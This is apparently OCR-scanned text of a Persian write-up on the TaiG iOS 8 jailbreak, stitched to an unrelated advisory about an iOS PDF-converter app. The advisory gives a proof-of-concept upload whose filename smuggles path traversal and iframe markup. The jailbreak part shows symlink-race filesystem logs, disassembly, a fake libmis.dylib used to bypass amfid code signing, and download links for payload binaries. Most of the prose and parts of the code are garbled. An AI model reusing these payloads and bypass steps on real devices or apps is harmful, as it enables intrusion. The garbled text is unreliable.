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Userland describes the software running on an iOS device after the kernel has started. A userland-
based exploit or jailbreak, being entirely software-based, can be patched by Apple. Userland jailbreaks
differ from jailbreaks that affect the boot chain of trust, in that they do not allow custom firmwares/IMG3
files to be flashed.
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PDF Converter & Text Editor
By Dixant Vijayvargiya

Text Editor & PDF Creator is your all-in-one document management solution for iPhone, iPod
touch and iPad.

It can catch documents from PC or Mac via USB cable or WIFI, email attachments, Dropbox and
box and save it on your iPhone, iPod Touch or iPad locally.

https://itunes.apple.com/it/app/text-editor-pdf-creator/id639156936
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Request Method(s):

[+] [POST]

Vulnerable Module(s):

[+] Submit (Upload)

Vulnerable Parameter(s):

[+] filename

Affected Module(s):

[+] Index File Dir Listing (http://localhost:52437/)

PoC: Upload File (http://localhost:52437/Box/)
<div id="module_main"><bqg>Files</bgq><p><a href="..">..</a><br>

<a href="<iframe>2.png"><../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png</a> ( 0.5 Kb, 2015-04-30
10:58:46 +0000)<br />

</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file<input type="file
name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit"
/></label></form></div></center></body></htmI></iframe></a></p></div>

--- PoC Session Logs [POST] (LFI - Filename) ---
Status: 200[OK]
POST http://localhost:52437/Box/

Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] GroRe des Inhalts[3262] Mime Type[application/x-
unknown-content-type]

Request Header:
Host[localhost:52437]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW®64; rv:37.0) Gecko/20100101 Firefox/37.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:52437/Box/]
Connection[keep-alive]

POST-Daten:

POST_DATA[ 321711425710317
Content-Disposition: form-data; name="file"; filename="../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png"

Content-Type: image/png



s el 1y 5 Jolpe sl 5Lis o) cnl 5o B3ge alea ploxil (61

SS w095 olSws (55, 1) S5 950 aslip bl )

9 JUB 1) oy g g oS 2]y by Y

sl a5 sl asl 4> (10€alhost:52437) oS 5L ogs yigeslS copnl Figpe 0 1) asby 0y Cov axio .Y
s 3 1) 09> oSiws IP wb localhost o Le

Tamper L ;Tamper Data al, jloolinul b )l 3,50 azmio jo b Cunlgs )0 (il pg g oo sl (S€SS10N) (i S5 F

oS sbwl Chrome

9 L 4y L 0gd [zl aplssre a5 (g gm0 L1y Sl 0 )90 Lol gl Ceslgs yo Gialyg L Ul

A ) L5 aslsl ploul jgiws g aiS 0,33 1) Cslgs yo

(localhost:52437) sgivw ol g cos Jiu ol a5l jo Lo a5 5,90 oS

A 09l T anlgs ) 50 Bl slol o |y B Gles Koo LS, >

L > < Yo B

23,5 osliinl (Bo9> a4 6 pdy ol Sl L i sKe SG 5 g

Sy a5 (Payload) sshy 5 by 5l s Ll aeiS sslinal lasss a4y ool 6,3y o] Ky 51 45 paoid Bige Lo Lyl j3 s>

Sz s o Nigay 00 ojl%—l s J;Le r:Lo...:. L I) e J.,Le

« JailbreakMe glis] ol asli ol e 530,55, 10S (gls 5 pulir o a5 51 £oLZ 9:30 PM 96 % =

JailbreakMe

by comex (et al.)

355 Gladr

O 5l &S wislee Userland (o oo aislo slo Sl gl 51 (o anlip 0!

E5 Byo STard) mols medgi Ub jo a5 09 s5uz 51 5 oobu jlans sl )15 ol Jailbreak to get tweaks and apps

_ ) L Apple won't allow in the App Store.
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, -text:10812288 mnou dword_1088677C, eax

| -text:10081228D call edi ; GetProcAddress

: -text:1001228F nov dword_10086778, eax

| -text:18812294

, -text:18812294 do_mobile_device: ; CODE XREF: _ gets_all_symbols_from_Apple_libs+4FTj
i .text:18812294 nov eax, _MobileDevice_dll_handle

: text:18812299 test eax, eax

1 .text:10012298 jnz short _got_mobileDevice_dl1_handle

. .text:1001229D nov esi, offset aMobiledevice_d ; “MobileDevice.dll™

| .text:100122a2 call _loads_library

: .text:188122A7 test eax, eax

1 .text:1008122a9 nov _HobileDevice_dll_handle, eax

- -- |-text:z188122AE jz _got_iTunesHobileDevice_dll_handle

: .text:100122B4 push offset afAndevicecreate ; “AlDeviceCreateFromProperties™
| -text:100122B9 push eax ; hHodule

: -text:100122Bn call edi ; GetProcAddress

\ -text:188122BC nov dword_10888676C, eax

! .text:1@8122cC1 nov eax, MobileDevice dl1l handle

: text:188122C6 push offset aAndcopysystemb ; “AHDCopySystemBonjourUniquelD™
: text:188122CB push eax ; hHodule

\ -text:188122CC call edi ; GetProcAddress

! .text:180122CE nov ecx, _HobileDevice_dl1_handle

X .text:100122D4 push offset a_createpairing ; " _CreatePairingMaterial®

! -text:1088122D09 push ecx ; hHodule

X .text:100122Dn noy _AMDCopySystemBonjourUniquelID, eax

: -text:188122DF call edi ; GetProcaAddress

| .text:100122E1 nov _CreatePairingHMaterial, eax

! -text:1088122E6

X .text:180122E6 got_mobileDevice dl1_handle: ; CODE XREF: _ gets_all_symbols_from_Apple_libs+43BTj
! .text:1008122E6 nov eax, _iTunesHobileDevice_dll_handle

| -text:1080122EB test eax, eax

: -text:1088122ED jnz loc_108129a7

| text:100122F2 mou esi, offset altunesmobile_8 ; “iTunesHobileDevice._ dll1"™
! _text:108@8122F8 call _loads_library

h _text:108122FD test eax, eax

! .text:100122FF nov _iTunestobileDevice dl1_handle, eax

r--- |-textz18812384 jz _got_iTunesHobileDevice_dll_handle

! _text:1801230A push offset alsbmuxconnectb ; “USBHuxConnectByPort™
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http://www.libimobiledevice.org/docs/html/files.html

SaisSa Lol o] o plonil AFC g os 4y o 1,k 5| S el Lyl o a8 oS

9 Le,a..: 9 é)b odgs ‘) (L-J.)‘ oiwo uLo.b) iDevice 9 (Ta|G S0 U"‘ ).5) iTunes UL"A uUaL..:)‘ 6)‘)5].\ w.ls.ﬁ...wc éélj B AFC

SylslyiDevice ol ol 48,5 S jekaian § 0058 5 bl cols s ojlal coles jo a5 cunl gwyiws LB

Loy 9l oo S ke Loy slStws 51 > g iTOOIS, iFunbox, iMazing asle e asliy b oil 05,5 ax g5 gao50 ol 4 L3 S

Sl 3] o el ol s .awes Jlas! private/var/mobile/Media/DCIM/ juiss lea L Camera roll & 1, olole WSe sy
LS g Soj90 ekt ,mKe) ez 2 9 <l 00ls AFC w |, private/var/mobile/Media/ ,ags a4 JolS o yiws (5 o5l ol a5

Sgdus 038 jaled pl yo e Jll og5 iDevVice jo o aaliy plu giTUNES SS a4 Loss a5 (b

S ol private/var/mobile/Media/ ;s ol ,a0gs 5o L 55,5 eoliiul ggo40 (o 5l lids TaIG

Sgdue slul MVhelp_ o g exhelp_ julgé lal ,osS axg5 55 sl >9,5 @

126 afcd Created dir /private/var/mobile/Media/_exhelp

126 afcdCreated dir /private/var/mobile/Media/_exhelp/a

126 afcdCreated dir /private/var/mobile/Media/_exhelp/a/a

126 afcdCreated dir /private/var/mobile/Media/_exhelp/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_exhelp/var

126 afcdCreated dir /private/var/mobile/Media/_exhelp/var/mobile

126 afcdCreated dir /private/var/mobile/Media/_exhelp/var/mobile/Media

126 afcdCreated dir /private/var/mobile/Media/_exhelp/var/mobile/Media/Books

126 afcdCreated dir /private/var/mobile/Media/_exhelp/var/mobile/Media/Books/Purchases

126 afcdCreated /private/var/mobile/Media/_exhelp/var/mobile/Media/Books/Purchases/mload

126 afcdCreated /private/var/mobile/Media/_exhelp/a/a/a/c (symlink)

126 afcdCreated dir /private/var/mobile/Media/_mvhelp

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a/a/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/a/a/a/a/a/a/a

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/private

126 afcdCreated dir /private/var/mobile/Media/_mvhelp/private/var
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126 afcdCreated /private/var/mobile/Media/_mvhelp/private/var/run

126 afcdCreated /private/var/mobile/Media/_mvhelp/a/a/a/a/a/a/a/c (symlink)

-- BackupAgent wakes up

279 BackupAgent Chowned /private/var/MobileDevice/ProvisioningProfiles

Some events dropped

*** Warning: Some events may be lost

279 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice

279 BackupAgent Created dir /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles

279 BackupAgent Chowned /private/var/.backup.i/var/MobileDevice/ProvisioningProfiles

279 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media

279 BackupAgent Created dir /private/var/.backup.i/var/mobile/Media/PhotoData

279 BackupAgent Renamed
/private/var/.backup.i/var/mobile/Media/PhotoData/c

279 BackupAgent Chowned /private/var/run

279 BackupAgent Chowned /private/var/run

279 BackupAgent Renamed /private/var/mobile/Media/_exhelp/a/a/a/c

/private/var/mobile/Media/_mvhelp/a/a/a/a/a/a/a/c

/private/var/run/mobile_image_mounter

279 BackupAgent Chowned /private/var/mobile/Media/Books/Purchases/mload

R A N E A CIRCER S LA

126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a/a/a/a/a/a
126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a/a/a/a/a
126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a/a/a/a
126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a/a/a

126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a/a

126 afcdDeleted /private/var/mobile/Media/_mvhelp/a/a

126 afcdDeleted /private/var/mobile/Media/_mvhelp/a

126 afcdDeleted /private/var/mobile/Media/_mvhelp/private/var/run
126 afcdDeleted /private/var/mobile/Media/_mvhelp/private/var
126 afcdDeleted /private/var/mobile/Media/_mvhelp/private

126 afcdDeleted /private/var/mobile/Media/_mvhelp

126 afcdDeleted /private/var/mobile/Media/_exhelp/a/a/a

126 afcdDeleted /private/var/mobile/Media/_exhelp/a/a

126 afcdDeleted /private/var/mobile/Media/_exhelp/a
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126 afcdDeleted /private/var/mobile/Media/_exhelp/var/mobile/Media/Books/Purchases/mload
126 afcdDeleted /private/var/mobile/Media/_exhelp/var/mobile/Media/Books/Purchases

126 afcdDeleted /private/var/mobile/Media/_exhelp/var/mobile/Media/Books

126 afcdDeleted /private/var/mobile/Media/_exhelp/var/mobile/Media

126 afcdDeleted /private/var/mobile/Media/_exhelp/var/mobile

126 afcdDeleted /private/var/mobile/Media/_exhelp/var

126 afcdDeleted /private/var/mobile/Media/_exhelp

W‘Jim)u.:dumdbWQL)‘AAUJLQJ)QJL;JA}‘SJEMLGJ.&J&GAS&LJ
/private/var/run/mobile_image_mounter -> ../../../var/mobile/Media/Books/Purchases/mload

¢ mobile_image_mounter L 1,> Lol § 0,0 aca oyl 1>

DeveloperDiskimage Lug wb &ljsiws ad Lo sy pulyie pod g0 (So s Js 0o 5l Lo sl 1) 99,9 of, AFCD g5
5! ide DD 0sSe Juate XCOdE & 1) 555 oKt Loty a5 w1 0,1 (55, Lo (DDI) DeveloperDiskimage .wgiy Jlocis
23,0380 Lo Lzt o 1y (Framework) oS yg o )8 9,15l solows a5 (cowl Xcode s solitl 5,90 SDK

3 Algie Led g ,05800 (MoUNt) cile /Developer s la Sy ayd g baylpl cpl puiSis Jate Xcode a1 olSiws a5 5y
Vg ol dais 4l 1osS g2 g Can ;500 ,algd ai> 4 System/Library/Frameworks/ ; Developer/Library/Frameworks/

&S 55l 4 |, DDI S5 wilgy (oS 51 o w95 00,5 1S5 5.5 Applelnternal/ asle 5o sla jadgs sl 1, 515 ol bl s

o s |y e o] g asl atsls wyiws /Developer [jug slo Jb 4 sy
aly aculgs a5 LB je adlsied Lad g Cawl 0oy ol DDl as” il aisls ax g5 g9090 (pl a0 il lcuncs oo o Sole (pl &y aoad
aislue Conog L The race condition sl s o0 g, <o b el lasS soly 1) 993 oy IS8l 5 0l 55w iDevice « DDI lgie

ol ol
S oo yo 1) Sl DDI Aleiy AsS Hgai 10,10 0529 0lgS [l Jlwn Sloj alold SO LB ulgs g slasl o5 S leg o 4o
lowl Gad adl § I S8 000 &l 055 LB ailss olKa 10w 9 dudy slaal (0,5

Cuoyd 0 DDl g as BB S s Y+ 4y IS 45 aBg0 dg0 10,8 i Sldas plodl ol (0 ,00,5 1) IS ron i 8s TaIG
,2input2 sb 4 Lol DDI LS s (http://t3hosting.ir/dl/taig/input) input b L coul sois a3l cds b L a5 DMG

;a8 ool DMG (yailgs 4 ,9.e |, MobileStorageMounter.app b wiSie (ol o jw Sy &0 40 45 Sguin dgb T olKiwo

Sgdens 48S (gl dislans Camdy Joe ol 4 45 555 0l Lo L5 500 bl plowl s b Sgiine S5 uisT IS oyl

Sgis il 090 (03Kl ol 1,5 a5 DMG L Lxs! o #

126 afcd Created /private/var/mobile/Media/Books/Purchases/mload/input

126 afcd Modified /private/var/mobile/Media/Books/Purchases/mload/input
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http://t3hosting.ir/dl/taig/input

Symlink) <o) e oo 3,k 5 LS 45 ol awsls ,bls 40w <5 MobileStorageMounter.app o, oo asle Ll #

(private/var/mobile/Media/Books/Purchases/mload/)

6362 mobile_storage_p Created
/private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2ba
eb3db5348ab322cb65¢7fc38b59ch75697chc29221dcelecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35
e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/37kpPQ.dmg

6362 mobile_storage_p Modified
/private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fch2ba
eb3db5348ab322ch65¢7fc38b59ch75697chc29221dcelecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35
e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/37kpPQ.dmg

S ool Jlnlinput2 4 Lol DMG #
126 afcd Renamed
/private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fch2ba

eb3db5348ab322cb65¢7fc38b59ch75697cbc29221dcelecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35
e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/37kpPQ.dmg to

/private/var/mobile/Media/Books/Purchases/mload/input2
Ao yuts Lol sb ay input l eas a3l DMG oL #

126 afcd Renamed /private/var/mobile/Media/Books/Purchases/mload/input /private/var/mobile/Media/Books/Purchases/

mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2baeb3db5348ab322cb65¢c7fc38b59¢ch75697cbc2
9221dcelecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35e1c239d1bf7d568be613aafef53104f3bc1801e
da87ef963a7abeb57b8369/37kpPQ.dmg

loiSe SU 1y BB g Cons 30! oo o 051 MobileStorageMounter.app o 5UL s 56,15 Jgl Jb oy #
6347 MobileStorageMou Deleted
/private/var/mobile/Media/Books/Purchases/mload/6d55c2edf0583c63adc540dbe8bf8547b49d54957ce9dc8032d1a9f9ad759e2b1fe99fcb2ba

eb3db5348ab322cb65c7fc38b59cb75697cbc29221dcelecd120d/909b75240921fc3f2d96ff08d317e199e033a7f8a8ff430b0c97bf3c6210fc39f35
e1c239d1bf7d568be613aafef53104f3bc1801eda87ef963a7abeb57b8369/37kpPQ.dmg

S Sl eas almil Al )b musgi jslaie 44 L1 SUMobileStorageMounter.app #
6362 Modified /private/var/mobile/Library/Logs/Device-O-Matic/com.apple.mobile.storage_proxy.log.0

10See S INPUE2. LB o 09 1S5 0,Lg0 sl anl bl g #

126 afcd Deleted /private/var/mobile/Media/Books/Purchases/mload/input2

o2 B850 0,3 UL U sgie 1SS jaiil al 8 ol #

g ouilss Lo L g0 BB 09 LS5 b iz auls U dsg s Usoms

3,5 eolazwl VMWware 15l o 5 10 oads cead (5liaSe G 5l el 10 cpe Judo cod 4y el ez BB S o 2>y 4 input il
ippdas 18 Leds gl 1 INPUL 40 5950 slo bl cad 5 0 aS
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| N N — DeveloperLib — bash — B0x24

Mahyars-Mac:/ mahyarrezghi$ cd Volumes =]
Mahyars-Mac:Volumes mahyarrezghi% 1s

DeveloperCaches DeveloperLib VMware Shared Folders
DeveloperDiskImage 05 X HDD

Mahyars—Mac:Volumes mahyarrezghi$ cd DewveloperCaches && 1s

apticket.der com.apple.kernelcaches

com.apple.dyld com.apple.xpcd

Mahyars—-Mac:DeveloperCaches mahyarrezghi% cd ../ /DeveloperDiskImage &&k 1s
Mahyars—-Mac:DeveloperDiskImage mahyarrezghi$ cd .. /DeveloperLib && 1s

B4_armed_B.1_12B411 libMatch.dylib system
FDRSealingMap.plist libexslt.dylib xpc
StandardDMCFiles libmis.dylib ¥xpocd_cache.dylib
dyld libsandbox.dylib

1ibDHCPServer.dylib libstde++.dylib

Mahyars-Mac:DeveloperLib mahyarrezghis i

E5050 (plriwsl JB ja0s8 cpl amase olis &S 5,10 >9,5 z» DeveloperDiskimage i)l 4 by jgmws auS cds 5]
Coomd 255 e Ll 50 @Bly 50 1o o0 oo iz @l 0 (g dwp B 4 come g WS 2y Gl (oS gl oS 5 s
,o Volumes/DeveloperCaches/ & cpes 4 g logine <l usr/lib/ Jsls a5 <l Volumes/DeveloperlLiby
5 (pimed 33939 4 ks oo S8l a5) apticket.der sla Ll Jule a5 sgive <ol System/Library/Caches/
Cudbge Sldae b ogive 2l o )b g o ,b g o ls oage 51, Lol ,I5 a5 com.apple.dyld/enable-dylibs-to-override-cache
Ly Le b wlyies olSiws g sgiuwe pll JSiw b cplo Sldae Jlo cnl 5o disd 0l (25 0 Lo i 3,50 slo L6 5 039y el
Lo (6 o0t plo o ams o B L cpaiz 5l e Coles 0 9 0w esliiul /usr/libexec/amfid ;l axcs o oS Lo DDI
1 SG Iogutin ol

amfid a5 L i asl 03,55 1, amfid o ol oS 53,5 S slo 550 b a5 0eS am 93 ol & (5,00 S92 Lol S airon) Ll
4 b Uas ggi90 ool 45 oS oolicl DYLD_INSERT_LIBRARIES ;I oilymeas 5575 o2l b ot 925)5 ciSels 1y 0,50 S iy
loaia 1) il 00 (plo a5 (gl a2 aMIid Cules ;s a5 | wiSe oolital W 1y b B ol>

=55 b oS 5L jtool L1 libmis.dylib L S1,cule i 550 slo dylib (slls a5 oass cole Lo ks 5,50 DMG > 4 b g

gdes 9y 4 gy 2 sle

mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/TaiG) % jtool -1 /Volumes/DeveloperLib/libmis.dylib
Fat binary, big-endian, 3 architectures: armv7, armv7s, armv8

Specify one of these architectures with -arch switch, or export the ARCH environment variable
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logs o eolazwl €VAsiON S, l> 0 a5 olo Ll loa BBo#

mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/Pangu) % ARCH=armv7 jtool -S /Volumes/DeveloperLib/libmis.dylib
| _MiISValidateSignature (indirect for _CFEqual)
| _kMISValidationInfoEntitlements (indirect for _kCFUserNotificationTokenKey)
| _kMISValidationInfoSignerCertificate (indirect for _kCFUserNotificationTokenKey)
| _kMiSValidationInfoSigningID (indirect for _kCFUserNotificationTokenKey)
| _kMiISValidationinfoValidatedByProfile (indirect for _kCFUserNotificationTokenKey)
| _kMISValidationOptionAllowAdHocSigning (indirect for _kCFUserNotificationTokenKey)
| _kMISValidationOptionExpectedHash (indirect for _kCFUserNotificationTimeoutKey)
| _kMiISValidationOptionLogResourceErrors (indirect for _kCFUserNotificationTokenKey)
| _kMiISValidationOptionUniversalFileOffset (indirect for _kCFUserNotificationTokenKey)
| _kMISValidationOptionValidateSignatureOnly (indirect for _kCFUserNotificationTokenKey)
U _CFEqual
U _kCFUserNotificationTimeoutKey
U _kCFUserNotificationTokenKey
U dyld_stub_binder

mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/TaiG) % ARCH=armv7 jtool -| /Volumes/DeveloperLib/libmis.dylib

LC 00: LC_SEGMENT Mem: 0x00000000-0x00001000  __ TEXT
Mem: 0x00001000-0x00001000 __TEXT.__text (Normal)

LC 01: LC_SEGMENT Mem: 0x00001000-0x00002000  __LINKEDIT

LC 02: LC_ID_DYLIB /Jusr/lib/libmis.dylib

LC 15: LC_CODE_SIGNATURE Offset: 38576, Size: 752 (0x96b0-0x99a0)

LC 16: LC_SEGMENT Mem: Oxfffff000-0Ox1ffff000  __ DATA

mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/TaiG) % ARCH=armv8 jtool -| /Volumes/DeveloperLib/libmis.dylib
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x4000 __ TEXT

Mem: 0x000004000-0x000004000 __TEXT.__text (Normal)
LC 01: LC_SEGMENT_64 Mem: 0x000004000-0x8000 __LINKEDIT

LC 02: LC_ID_DYLIB /Jusr/lib/libmis.dylib

LC 16: LC_SEGMENT_64 Mem: Oxffffffffffffc000-Ox1fffcO00 __DATA
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2wl ) o oS wilgs a8 Sloj 0 (B el (oo Jdo ot 4 s JolS o2 (i oo atings TAIG Lawgs a5 libmis o ;551> 6
S 5SS

{"app_name":"amfid","app_version":"","os_version":"iPhone OS 8.1.2 (12B440)",
"slice_uuid":"b99c5334-10f8-3014-865b-b0977d6f1a45","share_with_app_devs":false,
"build_version":"","is_first_party":true,"bug_type":"109","name":"amfid"}

Incident Identifier: 59E17AA8-469A-4395-AC6B-53C1F2B9657B (yep, Apple, that was me :-)
CrashReporter Key: a72d111b6b52f7clael360e923e7c0da675b9261

Hardware Model:  iPhone7,2

Process: amfid [22]

Path: Jusr/libexec/amfid
Identifier: amfid

Version: 7?7

Code Type: ARM-64 (Native)

Parent Process:  launchd [1]

Date/Time: 2015-05-21 08:13:39.385 -0400
Launch Time: 2015-05-21 08:13:21.101 -0400
OS Version: iOS 8.1.2 (12B440)

Report Version: 105

Exception Type: EXC_BREAKPOINT (SIGTRAP)
Exception Codes: 0x0000000000000001, 0x00000001200fd088

Triggered by Thread: 2

Dyld Error Message:
Symbol not found: _MISCopylinstalledProvisioningProfiles
Referenced from: /usr/libexec/amfid
Expected in: /usr/lib/libmis.dylib

Dyld Version: 353.6

B 69‘5 )9 W) JB)M untether L LR 6‘ dwg y o ui,w‘ ouslo u’}b )iu) u».?U g_iJ Le,u 9 W) raLo.: ‘)>Ln CSew uw.?u u.)s}
134 sl 515 Cango LB ol o TAIG/LAIG 1anae pll Silagil &0 41 1y 1o IS ol soled amas 0,5 Sl (5 S o
o B JE 5,05, 03,5 oo aile ola I olKius o &yl o, 31 Jed) iSe il 6 1 olSs 5 0 izl sy slgc
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s UL a8 [ aig 4 b asse ojlxl b 4 g ool AFC2 Julis a5 DeveloperPatch/ ys,8 aslsl 5 soils oo o 0 oads (1S

injecting jailbreak pliy e 5 Se olpd Lol SUCCESS sluj pbis b 5 amare olis 1) %F sae TAIG asliy bxol b
S 0glils oy S 51, BB ol adilgis o9 |l wlgiw /taig/taig bl Ul .amas olis L 4 |, program

http://t3hosting.ir/dl/taig/taig

ol I LU ) )5 Giou (n 5
mahyarrezghi@Mahyars-Mac (~/Documents/iOS/JB/TaiG) % file taig
/Volumes/VMware Shared Folders/iOS/JB/taig/taig: Mach-O universal binary with 2 architectures
/Volumes/VMware Shared Folders/iOS/JB/taig/taig (for architecture armv7): Mach-O executable arm

/Volumes/VMware Shared Folders/iOS/JB/taig/taig (for architecture arm64): Mach-O 64-bit executable

oKiws Sy 9 Sl 00 ME; Un|Versa| u)ya bta|g J.)L‘B aS el UJ‘ dw ’aslm ULa 6LQ ‘5>5).> aQ UQ)S o5 L: as S
DS HS (A 4yl T 955 (i) P Y o g ST Glo

oolaiwl Syl ol 5l Usd as” win S pllel poyo 4y 5 s0uad slo S 5l jlowy 0l db e S ol (pl a5 (8se o il ails ol 4 3
Sy BB pl B 0,5 (bl Jole cpl soled po b o) lakad o ol 009dT (61580 0 4 Tobie 5 09 Laseiin )] IS Cmo 5 0iiSS
Sl 039d1 b5 1l 45 woagd 4568 Lol .l S pls ol BB o 55 pte B 0l 1o

Sl sle ST 5 L5 550 sl Ll cancd 45 (53,5 olS5 L Lt g sl o0a oy i 13 JEOO! 1531 455 L L5 ooy 2 s gy o oS

R PRV F0 6 S PESN IR SRS P AE IS - YL SR VEL S W W L SO E5 S P W

Sl pled palyioe Lo g 0did (IS S (lgie gan 4 J (nl &5 dmae (Lai Loy po S (it jo 3 05 L aS (29> @
sl B ol 955 008l s wilstee 55 pal (e oS i |, ]
50 oliial o ladad 5 (900 (yolo S8 e yo ks 099 XCOdE jo 5,0k o 4 p0,S aduie jew e LaS aS s @

| 09g2 ‘5.4.4.13) d..AlJ)J

odalive bLmO'I)‘I\S.i]a)le)‘)a @l%ﬁ,x)lo)ljé)alfjo O 50 A5 Sgdee @‘?‘Pu)bwéﬂ 5 b Qe.‘ 6')?‘ L;I)g

ale [ LB cnl S5 lsie oS Sle3hd 1) o9 b 5L e Wlses LB L a4l me LB cnl oeo clibsystem.B
28,8l s WSed 0 1ibC.SO uimen g j9au4 40 Kernel32+NtDI+MSVCRT

ol 00 ool oo CH+ 5l Al ol o 45 smawe ylis ++libC

.l Objective C ;| ;o oslizul (s saims Lzs :Foudation/CoreFoundation , libobjc

Sgds ploel LB opl lawgs 15,5 30,5 g Sldes a5 ol gg090 onl p g0l e JOKit
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http://t3hosting.ir/dl/taig/taig

Lo yabe Cawd ds Lxisl 50 5L i ol ool 51 a8s wlelbl iy o b opl o), 5o dlibafc.dylib

Mahyars-Mac:Desktop mahyarrezghi$% ARCH=armvB ./jtool -1 taig
LC @@: LC_SEGMENT_G4 Mem: OxA20BAQEAQ-Bx1REODRR0O __PAGEZERD
LC @1: LC_SEGMENT_E4 Mem: Bx120PRRERR-Bx1RER14200 __TEXT
Mem: Bx1@@ARA5e2c-Bx1@PRA115TR __TEXT.__text {Normal)
Mem: Bx10@R0115fE-Bx10@@11c9@ __TEXT.__stubs (Symbol Stubs)
Mem: Bx100011d490-0x10R0B12528 __TEXT.__stub_helper (Normal)
Mem: Bx10@@12528-0x10@012ce3 __TEXT.__cstring (C-String Literals)
Mem: Bx180012de3-Bx10BR130%9e __TEXT.__objc_methname (C-String Literals)
Mem: Bx1000130ad-0x10@8013c27 __TEXT.__const
Mem: Bx1BBR13c27-Bx10BR13c4@ __TEXT.__objc_classname (C-String Literals)
Mem: Bx100013c40-0x10RB13catf __TEXT.__objec_methtype (C-String Literals)
Mem: Bx10@013cb@-Bx1@BR13ccc __TEXT.__ustring
Mem: Bx108813ccc-Bx10PB13dbd __TEXT.__gcec_except_tab
Mem: Bx120013db4-Bx10B014000 __TEXT.__unwind_info
LC 82: LC_SEGMENT_E4 Mem: Bx120R14000-@x1RER1E000 __DATA
Mem: Bx100014020-0x102014B98 __DATA.__got {Non-Lazy Symbol Ptrs)
Mem: Bx180R01400B-Bx10BQ145a8 __DATA._ la_symbol_ptr (Lazy Symbol Ptrs)
Mem: Bx1000145aB-0x1020145b@ __DATA.__mod_init_func (Module Init Function Ptrs)
Mem: Bx12@@0145b00-2x10B01480@ __DATA.__const
Mem: Bx100014B90-0x102014B898 __DATA.__objc_classlist (Mormal)
Mem: Bx10B014B9E6-0x100014B8a0 __DATA._ _objc_catlist {Mormal)
Mem: Bx1P0P014Ba0-Bx10BR14B8aB __DATA.__objc_imageinfo
Mem: Bx100014BaB-0x1008014b28 __DATA.__objc_const
Mem: Bx100014b2E-Bx10B014bcd __DATA._ _objc_selrefs (Literal Pointers)
Mem: Bx100014bch-0x102014bed __DATA.__objec_classrefs (NMormal)
Mem: Bx100014bed-Bx10BR14c3B __DATA._ _objc_data
Mem: Bx180014c30-Bx1OBR14T10 __DATA._ _cfstring
Mem: Bx120014Ff10-8x10B015138 __DATA.__data
Mem: Bx12@P15140-Bx1BBR16bTA __DATA.__bss {Zero Fill)
LC @3: LC_SEGMENT_G4 Mem: Bx12P31BPAA-Bx1RBAZ2RR0A __LINKEDIT
LC @4: LC_DYLD_INFO
LC @5: LC_SYMTAB
Symbol table is at offset Bx1%9a7@ (185872), 1BE6 entries
String table is at offset Bxlabfc (109428), 2984 bytes
LC @6: LC_DYSYMTAB
2 local symbols at index
1 external symbols at index
183 undefined symbols at index
Mo TOC
Mo modtab
343 Indirect symbols at offset Bxlable
LC @7: LC_LODAD_DYLIMNKER Jusr/lib/dyld
LC @B: LC_UUID UUID: ACS536657-237F-30BE-ATBZ-ACBC3AGT1602
LC @9: LC_VERSIOMN_MIM_IPHOMWEOS Minimum i05 wersion: 7.0.0
LC 1@: LC_SOURCE_VERSION Source Version: p.p.2.0.8
LC 11: LC_MAIN Entry Point: Bx9674 (Mem: 100BA9G6T4)
[LC 12: LC_EMCRYPTIODW_INFD_G4 Encryption: B from offset 16384 spanning B5536 bytes
LC 13: LC_LOAD_DYLIB fusr/lib/libafc.dylib
LC 14: LC_LOAD_DYLIB fusr/lib/libc++.1.dylib
LC 15: LC_LODAD_DYLIB fSystem/Library/Frameworks/I0Kit. framework/Versions/A/T0OKLt
LC 16: LC_LDAD_DYLIB fSystem/Library/PrivateFrameworks/ServiceManagement. framework/ServiceManagement
